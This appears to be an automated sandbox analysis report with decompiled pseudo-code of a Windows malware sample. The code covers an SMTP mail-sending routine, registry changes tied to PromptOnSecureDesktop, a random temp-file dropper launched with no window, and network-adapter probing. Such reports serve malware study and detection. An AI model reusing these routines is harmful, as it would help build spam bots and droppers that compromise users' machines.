0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

., xrefs: 0040A8CA
Too big smtp respons (%d bytes), xrefs: 0040A9B1
rcpt to:<%s>, xrefs: 0040A855
Incorrect respons, xrefs: 0040AB39
quit, xrefs: 0040A86C
AUTH LOGIN, xrefs: 0040A80C
localcfg, xrefs: 0040AB0B
data, xrefs: 0040A85E
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
Too small respons, xrefs: 0040A9C9
ESMTP, xrefs: 0040AA38
helo %s, xrefs: 0040A803
ehlo %s, xrefs: 0040A7F5
mail from:<%s>, xrefs: 0040A848

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,75144F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,75144F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p*t, xrefs: 00402CC7

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p*t
API String ID: 1639031587-2700130030
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

Iphlpapi.dll, xrefs: 004019B7
